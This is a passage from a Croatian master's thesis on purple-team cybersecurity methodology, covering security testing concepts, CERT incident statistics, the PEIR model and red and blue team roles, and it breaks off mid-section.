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ANALIZA TEHNIKA 1 ALATA LJUBICASTOG TIMA U SVRHU
UNAPRIJEDENJA SIGURNOSTI U ORGANIZACIJAMA

SAZETAK

Ovaj diplomski rad prikazuje tehnike i alate ljubicastog tima u svrhu unaprjedenja
sigurnosti u organizacijama. Ljubicasti tim je metodologija u informatickoj sigurnosti u kojoj
strucnjaci za ofenzivnu sigurnost, takozvani crveni tim, i stru¢njaci za defenzivnu sigurnost,
takozvani plavi tim, blisko suraduju kako bi poboljsali sigurnosni stav organizacije kroz
kontinuirane povratne informacije i razmjenu znanja. Cilj rada je pojasniti pojam ljubi¢astog
tima, njihovu metodologiju te alate i tehnike koje se koriste u svrhu unaprjedenja sigurnosti u
organizacijama. Prakti¢ni dio prikazati ¢e proces postavljanja napadacke i ranjive virtualne
masine, iskori$tavanja ranjivosti te korake otklanjanja i zakrpa ranjivosti uz pomo¢ informacija

dobivenih iz raznih alata.

KLJUCNE RIJECTI: ljubiéasti tim; poboljianje sigurnosti; kiberneti¢ka sigurnost

SUMMARY

This master thesis presents techniques and tools of the Purple Team for the purpose of
improving security in organizations. Purple Teaming is a methodology in IT security where
offensive experts, the so-called red team, and defensive security experts, the so-called blue
team, work closely together to improve the organization’s security posture through continuous
feedback and knowledge sharing. The aim of this work is to explain the concept of the Purple
Team, their methodology, as well as the tools and techniques used to improve security in
organizations. The practical part will show the process of setting up the attacker and vulnerable
virtual machines, vulnerability exploitation and finally, mitigation and patching with the help

of information gained from security tools.

KEY WORDS: Purple Team; Improving security; Cybersecurity
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1. Uvod

Organizacije se Cesto oslanjaju na defenzivne - plave i ofenzivne - crvene timove kako
bi poboljsale svoju kiberneticku sigurnost. Ljubicasti tim je spoj crvenog i plavog tima kojemu
je cilj koristiti ofenzivne i defenzivne vjeStine zaposlenika u svrhu procjene, analize i
poboljsanja obrane od kibernetickih napada. Ta poboljSanja mogu se odnositi na ljude, procese

ili tehnologiju.

Ljubicasti tim moze imati znacajnu ulogu u poboljSanju sigurnosti organizacije zato §to
omogucava sigurnosnim timovima da unaprijede ucinkovitost otkrivanja ranjivosti, trazenja
prijetnji i nadzora mreze. TO se postize to¢nim simuliranjem uobicajenih scenarija prijetnji i
olaksavanjem stvaranja novih tehnika za sprje¢avanje i otkrivanje novih vrsta prijetnji. Bitno je
razumjeti razliku izmedu emulacije i simulacije u kiberneti¢koj sigurnosti. Simulacija
podrazumijeva kori$tenje unaprijed definiranih, automatiziranih napada Kkoji oponasaju
ponasanje potencijalnog zlonamjernog aktera. S druge strane, emulacija podrazumijeva
dupliciranje identi¢nih taktika, tehnika i procedura koje bi zlonamjerni akter koristio te ih se

testira u pravom okruzenju.

Predmet analize ovog diplomskog rada su tehnike i alati ljubi¢astog tima u svrhu
unaprjedenja sigurnosti u organizacijama. Metodologija i primjena ljubi¢astog tima u praksi
opisana je u trecem i ¢etvrtom poglavlju, u petom poglavlju su navedeni i opisani alati i tehnike

ljubicastog tim, a u Sestom poglavlju napravljena je studija slucaja.

Cilj i svrha izrade ovog diplomskog rada je analiza mogucnosti tehnika i alata
ljubicastog tima u svrhu unaprjedenja sigurnosti u organizacijama te prikaz mogucnosti na

konkretnom primjeru.
Diplomski rad sastoji se od 7 poglavlja:

Uvod

Teorijski okvir i definicija pojmova iz podrucja digitalne sigurnosti
Opis i metodologija ljubiCastog tima

Primjena ljubicastog tima u praksi

Istrazivanje alata i tehnika ljubiCastog tima

Studija slucaja

Zakljucak
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U drugom poglavlju obraden je teorijski okvir iz digitalne sigurnosti te su definirani
najbitniji osnovni pojmovi vezani uz kibernetiCku sigurnost. Potom je definiran termin
ljubicastog tima, aktivnosti koje taj tim provodi te razlike izmedu ljubic¢astog tima i ostalih

pristupa.

U tre¢em poglavlju opisana je metodologija ljubicastog tima, PEIR model na kojem se
ljubicasti tim zasniva te su opisane uloge plavog i crvenog tima unutar ljubicastog tima s

primjerima.

Cetvrto poglavlje obuhvacéa primjenu ljubi¢astog tima u praksi kroz pet komponenti,
objasnjene su razne metrike koje se mogu koristiti za evaluaciju u¢inkovitosti ljubicastog tima,
zatim su predstavljene prednosti i izazovi kod primjene ljubicastog tima te neki primjeri

izvodenja vjezbi.

U petom poglavlju napravljeno je istrazivanje alata i tehnika ljubiastog tima, te je
opisana ideja kiberneti¢kog zavaravanja. Zatim su opisani pojmovi honeypot i decoy sustava te
je prikazan i opisan lanac kiberneti¢kog zavaravanja koji ¢e pomo¢i u razumijevanju zivotnog

ciklusa ove operacije.

U Sestom poglavlju napravljena je studija slu¢aja, gdje ¢e se pokazati proces izrade
virtualnih maSina, podizanje operativnih sustava, zatim instalacije potrebnih alata za izvodenje
napada i ranjive aplikacije na ranjivoj virtualnoj masini. Takoder popratit ¢e se zapisi vatrozida,

Docker spremnika, te ¢e se opisati koraci otklanjanja i zakrpa ranjivosti.



2. Teorijski okvir i definicija pojmova iz podrudéja digitalne sigurnosti
Tradicionalni pristup sigurnosnog testiranja kriti¢ni je aspekt koji provjerava sigurnost,
pronalazi ranjivosti te provjerava uskladenost nekog sustava, aplikacije ili mreze sa
standardima i regulacijama. Tradicionalni pristup sigurnosnog testiranja sastoji se od vise
elemenata, kao Sto su penetracijsko testiranje, procjena ranjivosti, testiranje otpornosti na
zloupotrebe, provjera uskladenosti s regulacijama i standardima te testiranje na DDoS (engl.

Distributed Denial of Service) napade.

Penetracijsko testiranje, takoder zvano i ,,pen testing“, je simulacija kiberneti¢kog
napada na sustav, mrezu ili aplikaciju. Svrha te simulacije je otkrivanje slabih to¢aka i ranjivosti
koje bi potencijalni zlonamjerni akter mogao iskoristiti. Penetracijsko testiranje sastoji se od
raznih metoda, kao §to su vanjsko testiranje, unutarnje testiranje, slijepo testiranje i ciljano
testiranje. Vanjsko testiranje odnosi se na testiranje resursa organizacije koje su vidljive na
internetu, npr. Web aplikaciju ili naziv domene. Unutarnje testiranje s druge strane, sadrzi
ispitivaca s pristup aplikaciji iza vatrozida koji glumi insider-a. Najcesce se koriste napadi krade
identiteta u ovu svrhu testiranja. Slijepo testiranje podrazumijeva da ispitiva¢ zna samo ime
organizacije koju cilja, a defenzivnom timu ciljane organizacije daje pravovremen pogled na to
kako izgleda stvarni napad. Ciljano testiranje podrazumijeva da ispitiva¢ i defenzivni tim

organizacije suraduju i razmjenjuju misljena.

Procjena ranjivosti (engl. vulnerability assessment) je postupak prepoznavanja,
klasificiranja i odredivanja prioriteta sigurnosnih ranjivosti u IT infrastrukturi. Sveobuhvatnom
procjenom ranjivosti odreduje se izlozenost IT sustava ranjivostima, te se zatim prema potrebi
preporucuju koraci za otklanjanje ranjivosti ili ublazavanje. Procjene ranjivosti su standardni
postupak jer pruzaju detaljan pregled sigurnosnih rizika s kojima se organizacija moze susresti,
te tako omoguciti da organizacija bolje zastiti svoje resurse i osjetljive podatke od kibernetickih
prijetnji. Proces procjene ranjivosti sastoji se od identifikacije i analize ranjivosti, procjene
rizika, sanacije i na kraju otklanjanja ranjivosti. Jedan od ¢estih nacina identifikacija ranjivosti
je koriStenje mreznih skenera, koji mogu i ne moraju imati dozvoljen pristup mreZnim

resursima.

Svrha testiranja otpornosti na zloupotrebe u domeni kiberneticke sigurnosti odnosi se
na simulaciju zlonamjernog aktera u svrhu identifikacije i iskoriStavanja ranjivosti u sustavu,
mrezi ili aplikaciji. Cilj ove vrste testiranja je pronalazak i identifikacija potencijalnih ranjivosti

ili slabosti koje bi zlonamjerni akter mogao iskoristiti za dobivanje neovlaStenog pristupa.
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Testiranje otpornosti na zloupotrebe moze pomoci organizaciji identificirati slabosti i otkloniti

ih prije nego li ih iskoristi zlonamjerni akter, te time prevenirati potencijalnu Stetu.

Testiranje uskladenosti (engl. compliance testing) je vrsta sigurnosnog testiranja koje
provjerava uskladenost organizacije s regulacijama i standardima poput npr. standarda
sigurnosti podataka industrije platnih kartica (engl. Payment Card Industry Dana Security
Standard, PCI DSS), op¢e uredba o zastiti podataka (engl. General Data Protection Regulation,
GDPR) i sl. Testiranje uskladenosti pomaze organizacijama da njihove sigurnosne prakse
zadovoljavaju zahtjeve regulatornih tijela i pomaze u sprjeCavanju financijskih i pravnih
posljedica. Cilj PCl DSS-a je povecati kontrolu podataka o vlasnicima kartica kako bi se
smanjile prijevare s kreditnim karticama. GDPR je regulacija Europske Unije kojoj je cilj zastita
osobnih podataka gradana. Ta regulacija je obavezna za sve organizacije koje procesiraju

podatke stanovnika EU, bez obzira gdje se organizacija nalazi, [1].

Ovi tradicionalni pristupi mogu biti korisni u procjeni sigurnosti sustava, aplikacija ili
mreza, ali mogu biti ograniceni u otkrivanju novih prijetnji 1 napadackih metoda. Stoga je cil]

ovog diplomskog rada pokazati benefite ljubicastog tima u organizacijama.

U ovom diplomskom radu, ¢esto ¢e se spominjati termini prijetnja, ranjivost i rizik,
stoga ih je potrebno objasniti. Kada se govori o kibernetickoj sigurnosti, prijetnja moze biti sve
Sto iskoriStava neku ranjivost sustava, mreze ili aplikacije. Prijetnje ugrozavaju integritet,
povjerljivost i sigurnost podataka i sustava. Prijetnja se takoder moze opisati kao proces koji
povecava vjerojatnost katastrofalnog dogadaja. Prijetnje se Cesto klasificiraju na unutarnje 1
vanjske. Unutarnje su one koje nastaju ljudskom greskom i ¢esto su nenamjerne. Dobar primjer
toga je kada zaposlenik otvori kompromitiranu datoteku koja omogucuje izvrSavanje
kibernetickog napada. Vanjske prijetnje su one koje nastanu namjerno, gdje netko svjesno
napada znajuci da ¢ini 3tetu. Cesto je cilj takvih napadada krada osjetljivih podataka, novca ili
narusavanje reputacije organizacije. Rizik je mogucnost nastanka katastrofalnog dogadaja ako
prijetnja iskoristi ranjivost. Ranjivost se odnosi na nedostatke, slabosti i pogreske u kodu ili
konfiguraciji koje mogu ugroziti resurse organizacije te ih izloziti unutarnjim ili vanjskim

prijetnjama.

Prikaz prijavljenih kibernetickih prijetnji prema vrsti napada najbolje je prikazan

koriStenjem grafickog prikaza statistike o broju prijava i vrstama prijetnji, kao §to je prikazano



na slici 1 za podatke iz 2021. i na slici 2 za podatke iz 2022 godine. Podaci se odnose na
prijavljene incidente u Hrvatskoj koje je zaprimio Nacionalni CERT.

= Phishing 1.24% 0.91%
n ishi o)
Phishing URL 1.65% 1.40% 8322;0 0250
= Malware URL 1.40% /’ o970 ) 0.08%

Web defacement 1.65%

|
= Pogadanje zaporki 2.06%_\
= Sustav zarazen zlonamjernim kodom 3.22%
= Pokusaj iskoriStavanja ranjivosti 4.71%
= DoS - Volumetri¢ki napad
= Scam

= Korisni¢ki racun

= Spam

= Ostalo

= Prijevare

= Hoax
DoS - Napad na aplikacijsku uslugu
Ispad usluge (engl. Outage)

= C&C
= Skeniranje

= Prikupljanje informacija

Slika 1. Zastupljenost kibernetickih napada po vrsti za 2021. godinu

Izvor: [2]

Na slici 1. moze se primijetiti zastupljenost napada kradom identiteta od ukupno skoro
43% naspram ostalih vrsta kibernetickih napada, nakon kojih slijede zlonamjerni softveri i Web
defacement napadi (napad u kojem se mijenja izgled naslovne strane komprimirane web-
stranice) te kiberneti¢ki napadi poput pogadanja zaporki, sustava zarazenih zlonamjernim
kodom, pokusaji iskoriStavanja ranjivosti i sl. Usporedujuéi s godinom ranije, primijecen je
manji broj korisnickih prijava ra¢unalno sigurnosnih incidenata za ¢ak 29%, a broj otkrivenih

kompromitiranih web sjedista smanjio se za 23% u odnosu na godinu prije.



= Phishing 1.00% ' 1.00%

= Scam

~

= Phishing URL

Pogadanje zaporki
= \Web Defacement
= Malware URL

= Sustav zarazen zlonamjernih kodom
4.00%
= Pokusaj iskoriStavanja ranjivosti

= Spam URL
= |znuda
= Spam
= Poslovna prijevara
= DOS volumentri¢ki napad
= Korisni¢ki racun
C&C

Skeniranje

Slika 2. Zastupljenost kibernetic¢kih napada po vrsti za 2022. godinu

Izvor: [3]

U 2022. godini primije¢eno je povecanje broja korisni¢kih prijava racunalno-
sigurnosnih incidenata od ukupno 7% u odnosu na godinu prije. Pretpostavlja se da je razlog
tome generalno veéa svijest gradana i javne zauzetosti za teme iz podrucja kiberneticke
sigurnosti. Usporedujuci ove dvije slike moguce je primijetiti porast incidenata klasificiranih
kao prevara (engl. scam), a broj otkrivenih kompromitiranih web sjedista smanjio se za 38,7%
u odnosu na godinu prije. Napadi krade identiteta (engl. phishing) su i dalje najzastupljeniji

napadi.

2.1. Definiranje ljubi¢astog tima

Unatrag nekoliko godina, ljubicasti tim, relativno nova ideja u kibernetickoj sigurnosti,
privlaci sve viSe paznje. Kroz poboljSanu komunikaciju i timski rad izmedu crvenog i plavog
tima organizacije, ovaj suradnicki pristup nastoji poboljsati sigurnosnu poziciju. Tim stru¢njaka
poznat kao ,.crveni tim*“ simulira stvarne napade kako bi testirao obranu organizacije, dok je
»plavi tim“ zaduZen za odbijanje tih napada. Ljubicasti tim ima za cilj poticati suradnju izmedu
tih timova kako bi zajednicki otkrivali i popravljali ranjivosti te stvoriti okruzenje za testiranje
koje je u¢inkovitije 1 to¢nije predstavlja trenutne prijetnje. Organizacije mogu bolje procijeniti
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svoju sigurnosnu poziciju i poboljsati svoje postupke odgovora na incidente integrirajuci

ofenzivne i defenzivne vjestine crvenog i plavog tima, [4].

LjubicCasti tim nije posveceni tim, stoga nema potrebe za zapoSljavanjem dodatnih
sigurnosnih stru¢njaka kako bi se izgradio novi tim. Medutim, primjena pristupa ljubic¢astog
tima moze biti izazovna, posebno za organizacije koje nemaju razvijen sigurnosni program. To
zahtjeva resursa 1 vremena, kao i snaznu posvecenost suradnji i komunikaciji izmedu crvenog
i plavog tima. U nastavku ¢e se prikazati i objasniti razne komponente koje zajedno ¢ine

ljubicasti tim.

2.2. Aktivnosti ljubi¢astog tima

Aktivnosti
ljubiCastog tima

Obavjestajni
podaci o
prijetnjama

Automatizacija

Emulacija
protivnika i
simulacija proboja
sigurnosti

Slika 3: Dijagram aktivnosti ljubic¢astog tima
Izvor: [5]

Kao $to je vidljivo na dijagramu, aktivnosti ljubi¢astog tima nisu ogranicene samo na

interakcije izmedu crvenih i plavih timova, ve¢ ukljucuju u sljedece:

e Automatizacija: Prilagodeni razvoj kontinuiranih sigurnosnih kontrola na temelju
poznatih prijasnjih napada.

e Procesi: Ova aktivnost ukljucuje razne procese kako bi se osigurao kontinuirani zivotni
ciklus poboljSanja, ukljuujuéi zapise aktivnosti, izvjeStavanje 1 upravljanje

promjenama.



e Emulacija zlonamjernog aktera: Identificiranje raznih tehnika koje koristi odredeni
zlonamjerni akter te izrada plana za njihovo ponovno izvodenje kako bi se mogla
testirati obrana organizacije.

e Simulacija proboja sigurnosti (engl. Breach Attack Simulation, BAS): Postupak koji se
sastoji od ponovnog izvodenja jedne ili viSe postoje¢ih tehnika napada rucno ili uz

pomo¢ postojeceg alata, [5].

Automatizacija igra veliku ulogu u ljubicastom timu. Ovaj pristup ukljucuje razvoj
kontinuiranih sigurnosnih kontrola koje se temelje na temelju prethodnih napada i ranjivosti
identificiranih tijekom prethodnih sigurnosnih testiranja. Ove sigurnosne kontrole mogu
ukljucivati automatizirane postupke kao $to su postavljanje upozorenja, blokiranje prometa ili
slanje odgovarajucih upozorenja administratorima. Automatizacija se takoder moze primijeniti
na simulaciju napada proboja sigurnosti (engl. Breach Attack Simulation, BAS) i emulaciju
zlonamjernog aktera. Automatizacija kod ove tehnike testiranja omogucuje brzu i u¢inkovitiju
analizu sigurnosnih dogadaja, prepoznavanje ranjivosti 1 odgovor na napade. Uz
automatizaciju, ljubiCasti tim takoder koristi i alate za upravljanje incidentima i sigurnosnim
informacijama i dogadajima (engl. Security Information and Event Management, SIEM) za
automatizaciju procesa upravljanja incidentima i smanjenje vremena odgovora na sigurnosne
incidente. Bitno je napomenuti da automatizacija ne moze zamijeniti ljudske vjestine analize
rizika 1 procjene rizika. lako automatizacija pomaze u otkrivanju sigurnosnih incidenata i
odgovoru na njih, ljudi 1 dalje trebaju analizirati 1 razumjeti Siri kontekst, identificirati nove
prijetnje i izraditi strategiju za borbu protiv njih. Zato se automatizacija i ljudska analitika

moraju kombinirati kako bi se organizacija zastitila od kibernetickih prijetnji, [6].

Procesi igraju vaznu ulogu u osiguravanju kontinuiranom poboljSanju sigurnosnog
zivotnog ciklusa organizacije. Ovi procesi ukljucuju sve od prikupljanje podataka, izvjeStavanje

pa sve do upravljanja promjenama i sigurnosnih zakrpa (engl. security patches).

e Prikupljanje podataka je izuzetno vazan proces tijekom kojeg se podaci prikupljaju iz
raznih izvora poput izvje$c¢a o incidentima, zapisa aktivnosti, podataka o ranjivostima i
obavjestajnih podataka o prijetnjama. Ti podaci se zatim koriste za analizu i
identifikaciju ranjivosti i razvoj sigurnosnih kontrola.

e Procesi izvjeStavanja su takoder bitni jer generiraju izvjes¢a kako bi se pruzio pregled

cjelokupnog sigurnosnih stanja organizacije. Ta izvjeS¢a mogu sadrzavati informacije o



ranjivostima, incidentima i drugim relevantnim sigurnosnim dogadajima, te takoder
pruzaju preporuke za poboljsanje.

e Upravljanje promjenama u kibernetickoj sigurnosti podrazumijeva pronalazak
potencijalnih problema u promjenama sustava. Svaka promjena moze stvoriti nove
ranjivosti ili smanjiti dostupnost sustava, Stoga organizacije moraju odrediti kako
uravnoteZiti potrebu za promjenom s minimiziranjem rizika.

e Proces upravljanja sigurnosnim zakrpama sastoji se od identificiranja i primjene
azuriranja, tj. zakrpa na razne krajnje toCke sustava, ukljucuju¢i ra¢unala, mobilne
uredaje ili posluzitelje. Zakrpe su Cesto samo kratkotrajno rjeSenje za otklanjanje

ranjivosti, te dode integrirana u sljedecu verziju softvera. [7].

Emulacija zlonamjernog aktera (engl. Adversary emulation) ukljucuje identificiranje
razli¢itih tehnika koje koristi odredeni zlonamjerni akter, te prikupljanje saznanja o njihovim
alatima, taktikama i postupcima (engl. tools, tactics, and procedures, TTPs) te razvoj plana za
repliciranje tih tehnika za testiranje obrane organizacije. Emulacija zlonamjernog aktera ima za
cilj testirati otpornost mreze na napredne zlonamjerne aktere i prijetnje. Organizacije Cesto
koriste emulaciju zlonamjernog aktera kao nacin da testiraju vlastitu sigurnost koristenjem
tehnika, taktika i procedura koje koriste stvarni zlonamjerni akteri, ali u kontroliranom
okruzenju, [8].

Simulacija proboja sigurnosti je aktivnost usmjerena na testiranje obrambenih
sposobnosti organizacije protiv razli¢itih scenarija napada. Ukljucuje kontrolirano i sigurno
ponavljanje poznatih napada kako bi se testirala u¢inkovitost sigurnosnih kontrola i sposobnosti
odgovora organizacije. U kontekstu ljubicastog tima, simulaciju proboja sigurnosti izvodi
crveni tim, koriste¢i razne alate i tehnike za simulaciju ponasanja zlonamjernog aktera. Moze
se izvoditi razli¢itim metodama, od ruc¢nog testiranja do potpuno automatiziranih alata koji
simuliraju napade. Cesto se koriste kombinacije oba na¢ina kako bi se postigli optimalni
rezultati. Testove je moguce prilagoditi raznim scenarijima napada, kao $to su mrezni napadi,
infekcije zlonamjernim softverom ili drustvenog inzenjeringa. Plavi tim je odgovoran za
pracenje i odgovaranje na simulirane napade, pruzajuci povratne informacije crvenom timu o
ucinkovitosti njihovih tehnika napada. Rezultati testiranja zatim se koriste za poboljSanje
sigurnosne pozicije organizacije, identificiranjem podruéja slabosti i preporukom specifi¢nih

radnji za jacanje obrane, [9].



2.3. Razlike ljubicastog tima u odnosu na druge pristupe
Ljubicasti tim razlikuje se od tradicionalnih pristupa testiranju i procjeni kiberneticke

sigurnosti na nekoliko nacina.

Prije svega, tradicionalan pristup obi¢no koristi penetracijsko testiranje ili skeniranje
ranjivosti kako bi se identificirale ranjivosti i slabosti u obrani organizacije. Prednost
ljubicastog tima je suradnja crvenog i1 plavog tima, te usmjerenost na kontinuirano poboljSanje

sigurnosnog stava organizacije.

Osim toga, tradicionalni pristupi €esto su reaktivne prirode i usmjereni na identificiranje
1 otklanjanje postojecih slabosti. Ljubicasti tim ima proaktivan pristup simuliranjem napada i
testiranjem obrane u kontroliranom okruzenju, omogucujuéi organizacijama da identificiraju i

otklone potencijalne slabosti prije nego $to ih stvarni zlonamjerni akteri mogu iskoristiti.

Takoder, tradicionalni pristupi ¢esto su odvojeni, s minimalno komunikacije i suradnje
izmedu razli¢itih timova ukljucenih u testiranje i procjenu kiberneticke sigurnosti. Ljubicasti
tim naglasava suradnju i komunikaciju izmedu crvenog i plavog tima, omogucujuci cjeloviti i

integrirani pristup testiranju i procjeni sigurnosti.

Ukratko, glavna razlika izmedu ljubicastog tima 1 tradicionalnih pristupa je ta Sto
ljubicasti tim naglasava suradnju, proaktivno testiranje i cjeloviti pristup testiranju i procjeni

sigurnosti organizacije, [10].
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3. Opis i metodologija ljubicastog tima

Metodologija ljubicastog tima ima suradnicki pristup testiranju i procjeni kiberneticke
sigurnosti koji kombinira ofenzivne taktike crvenog tima s obrambenim tehnikama plavog tima.
Cilj ljubicastog tima je poboljsati cjelokupni sigurnosni stav organizacije identificiranjem
ranjivosti 1 slabosti u njenim sustavima i procesima te razvijanjem ucinkovitih strategija za
njihovo ublazavanje. PDCA (engl. Plan-Do-Check-Act) proces je $iroko je prepoznat model za
kontinuirano poboljSanje u razli¢itim industrijama, ukljucujuéi kiberneticku sigurnost. U
kontekstu ljubicastog tima, PDCA proces moze se primijeniti kako bi se vodilo stalno
poboljsanje sigurnosnih mjera i sposobnosti odgovora na sigurnosne incidente. Taj model je
kasnije prilagoden kako bi bolje odgovarao potrebama ljubicastog tima, iz ¢ega je proizasao

PEIR (engl. Prepare-Execute-ldentify-Remediate) model.

3.1. PEIR model
. Identifikacija .
Priprema orijetnji i TTP-ova Izvodenje
Validacija Izvodenje koraka
napada
Impl_ement_acua Dokumentacija
brzih uspjeha
Identifikacija i
Otklanjanje prioritizacija rupa Identifikacija

N————

Slika 4: PEIR dijagram
Izvor: [5]
11



Ovaj dijagram predstavlja pristup visoke razine ljubi¢astom timu u kojem su ukljuceni

voditelji i ofenzivnog i defenzivnog sigurnosnog tima. Clanovi plavog tima mogu i ne moraju

biti obavijesteni o izvodenju vjezbi. Cilj crvenog tima je neprimjetna procjena sposobnosti

odgovora plavog tima na incident. Vjezba ljubicastog tima ovdje je moguca bez informiranja

vecine plavog tima o vjezbi, dok crveni tim koristi aktivnosti poput injektiranja log-ova i

bezopasnih tehnika kako bi procijenili sposobnosti i kontrole plavog tima kao $to su

istrazivanje, eskalacija i odgovor.

Priprema — ova faza ukljucuje definiranje ciljeva opsega vjezbe ljubiCastog tima,
uspostavljanje pravila angazmana 1 identifikaciju potrebnih resursa. Tijekom ove faze,
plavi 1 crveni timovi takoder trebaju suradivati u planiranju vjezbe, $to ukljucuje
stvaranje scenarija i odabir alata i tehnika koje ¢e se koristiti.

Izvodenje — u ovoj fazi provode se stvarne vjezbe, u kojoj crveni tim simulira napade,
a plavi tim se brani protiv njih. Ova se faza moze ponoviti vise puta , pri cemu se svako
ponavljanje fokusira na odredeni scenarij. Rezultati svakog ponavljanja su
dokumentirani, te potom analizirani kako bi se identificirala podru¢ja koja je moguce
poboljsati.

Identifikacija — ova faza ukljucuje analizu rezultata vjezbe kako bi se identificirale
prednosti i nedostaci sigurnosnog stava organizacije. Plavi tim treba dokumentirati
svoje obrambene taktike, dok bi crveni tim trebao dati povratne informacije o
ucinkovitosti tih taktika. Cilj ove faze je identificirati nedostatke u sigurnosnom stavu
1 dati prioritet rjeSavanju nedostataka na temelju razine rizika.

Otklanjanje — ova faza ukljucuje provedbu promjena kako bi se rijesili sigurnosni
nedostaci. To ukljucuje poboljSanje sigurnosnih kontrola, azuriranje politika 1
procedura te pruzanje dodatne obuke osoblju. Takoder se treba obuhvatiti pregled
napravljenih promjena i rezultata vjezbe kako bi se osiguralo da se sigurnosni stav

organizacije poboljsao, [5].

3.2. Uloga crvenog i plavog tima

Crveni tim, takoder zvan i ofenzivni tim, za svrhu ima oponasati taktike, tehnike i

postupke zlonamjernog aktera iz stvarnog svijeta. Taj tim simulira zlonamjernog aktera,

pokusSavajuci pronaci i iskoristiti ranjivosti u sigurnosnim obranama organizacije. Cilj crvenog

tima je pomo¢i organizaciji da shvati gdje su njene obrane slabe i identificira podrucja za

poboljsanje. Crveni tim obi¢no ima opsezno znanje i iskustvo kod ofenzivnih sigurnosnih
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tehnika 1 alata, poput penetracijskog testiranja, socijalnog inZenjeringa i izvidanja. To znanje

koriste za simulaciju realisticnog napada na mreze, aplikacije i sustave organizacije. Neke od

metoda napada koje crveni timovi koriste su iskoriStavanje poznatih ranjivosti, koriStenje

taktika socijalnog inZenjeringa i koriStenje prilagodenog zlonamjernog softvera, [11].

Neki od primjera scenarija crvenog tima su:

Ostavljanje USB (engl. Universal Serial Bus) prijenosne memorije na ulazu
organizacije, u nadi da ¢e ga radnik uzeti i ukopcati u racunalo

Dolazak u organizaciju obucen kao serviser, pokusavajuéi dobiti fizicki pristup LAN-
u, ili serverskoj sobi, ili ¢ak ukrasti tude racunalo pod pri¢om ,,potreban je servis“ te
tako zaobici restrikciju fiziCkog pristupa

Napredni socijalni inZenjering, kao §to je slanje elektroni¢ke posSte zaposlenicima sa
svthom krade identiteta ili dobivanja neovlastenog pristupa (prijaSnje spomenuti

phishing napadi), telefonski pozivi, postanski paketi i sl.

Plavi tim je skupina stru¢njaka odgovorna za obranu organizacijskih informacijskih

sustava odrzavanjem sigurnosnog stava. Glavni cilj plavog tima je analizirati trenutni

sigurnosni stav organizacije i poduzimanje mjera za otklanjanje ranjivosti i nedostataka.

Nadalje, plavi tim prati mreZu organizacije i reagira na sve sumnjive aktivnosti koje se dogadaju

u njoj.

Za ostvarivanje Zeljenih ciljeva plavi tim koristi razne elemente koji su podijeljeni u tri

skupine:

Ljudi: sigurnosna osvijesStenost, sigurnosni analiticari, forenzicki specijalisti, analisti
malicioznog softvera, SOC timovi, developeri, itd. U manjim organizacijama, cesto
jedna osoba ima vise takvih uloga.

Procesi: Standardni NIST/SANS bazirani odgovori na incidente (priprema,
identifikacija, karantena, eliminacija, oporavak, steCena iskustva), interne sigurnosne
politike, standardne operativne procedure — SOP, itd.

Proizvodi i tehnologije: SIEM kao jedan od glavnih alata koje koristi SOC, EDR (engl.

endpoint detection and response), IDS (engl. intrusion detection systems), itd., [12].

Na sljedecoj slici prikazati ¢e se usporedba izmedu klasi¢nog crvenog i plavog tima:
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Crveni tim

Ofenzivna sigurnost
Eticko hakiranje
IskoriStavanje ranjivosti
Penetracijsko testiranje
Socijalni inZenjering
Testiranje crne kutije
Skeniranje Web aplikacija

VS

Plavi tim

Defenzivna sigurnost
Zastita infrastrukture
Kontrola Stete
Odgovor na incidente
Sigurnost operacija
Lovci na prijetnje
Digitalna forenzika

Slika 5: Usporedba klasi¢nog crvenog i plavog tima

Ukratko, crveni tim sastoji se od stru¢njaka za ofenzivnu sigurnost koji se specijaliziraju

za proboj obrane i ciljanje sustava. S druge strance, plavi tim sastoji se od stru¢njaka za

defenzivnu sigurnost koji su zaduzeni za odrzavanje unutarnje mrezne obrane protiv

kibernetickih prijetnji i opasnosti. Crveni timovi ¢esto oponaSaju napade kako bi testirali plavi

tim 1 istovremeno ucinkovitost sigurnosti mreze.

14



4.

Primjena ljubicastog tima u praksi

Implementacija ljubi¢astog tima u organizacijama ovisi o njenim potrebama i ciljevima.

Autor ovdje predstavlja vlastiti model koji predstavlja univerzalan nadin primjenjivanja

ljubicastog tima u organizacijama. Sastoji se od 5 komponenti:

1.

Provjera uCinkovitosti postojecih sigurnosnih rjesenja: Timovi simuliraju napade kako
bi provjerili koliko su dobro sigurnosna rjesenja pripremljena za takve scenarije.
Timovi isprobavaju razna sigurnosna rjesenja za detekciju, sprjecavanje i reagiranje na
kiberneticke napade.

Razvoj novih sigurnosnih rjeSenja: Zajednicki rad crvenog i plavog tima omogucuje
,outside the box* nacin razmiSljanja i razvijanja inovativnih rjeSenja. Te nove
perspektive donose kreativnost i zaokruzenije razumijevanje kiberneticke sigurnosti.
Testiranje upravljanja incidentima: Podrazumijeva simulaciju napada u svrhu testiranja
sposobnosti organizacije da odgovori na njih. Rezultat toga je identifikacija slabosti u
postojeéim procesima organizacije, nakon c¢ega slijedi izradivanje planova za
poboljsanje.

Testiranje ljudskog faktora: Timovi mogu simulirati napade kako bi vidjeli koliko
dobro zaposlenici reagiraju na takve scenarije. Mogu se identificirati podrucja za
poboljsanje u obuci i svijesti o digitalnoj sigurnosti.

Validacija zakonskih zahtjeva: Timovi provjeravaju uskladenost organizacije sa

zakonima 1 propisima u podrucju kiberneticke sigurnosti.

Provjera uginkovitosti
postojecih sigurnosnih
rieSenja

A

Validacija zakonskih Razvoj novih
zahtjeva MODEL PRIMJENE sigurnosnih rje$enja
LJUBICASTOG TIMA

Testiranje ljudskog Testiranje upravljanja
faktora incidentima

Slika 6: Model primjene ljubicastog tima u organizacijama
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Neke od organizacija koje koriste ljubiCasti tim u stvarnom svijetu su: Microsoft,
Packetlabs, Nettitude, medutim s obzirom na to da je ljubicasti tim jo$ uvijek novi pojam koji
nije sluzbeno definiran i dokumentiran, svaka organizacija ima svoju ideju §to to¢no ljubicasti

tim treba predstavljati i kako treba funkcionirati.

4.1. Evaluacija uc¢inkovitosti ljubi¢astog tima
Autor jo$ jednom naglaSava kako je pojam ljubiCastog tima relativno nov i ne postoji

puno materijala za istrazivanje, medutim, po njegovom istrazivanju i misljenju, postoji nekoliko
nacina na koji se moze napraviti evaluacija uc¢inkovitosti ljubi¢astog tima:

e Mjerenjem vremena potrebnog za detekciju i odgovor na sigurnosne incidente

e Analiza poboljSanja sposobnosti organizacije da sprijeci sigurnosne incidente

e Analiza povecanja otpornosti organizacije na kiberneticke napade

e Mjerenje poboljSanja sigurnosnog stava organizacije

e Analiza razine suradnje i komunikacije izmedu crvenog 1 plavog tima

Bitno je napomenuti kako ucinkovitost ljubiastog tima moZze ovisiti o specificnim

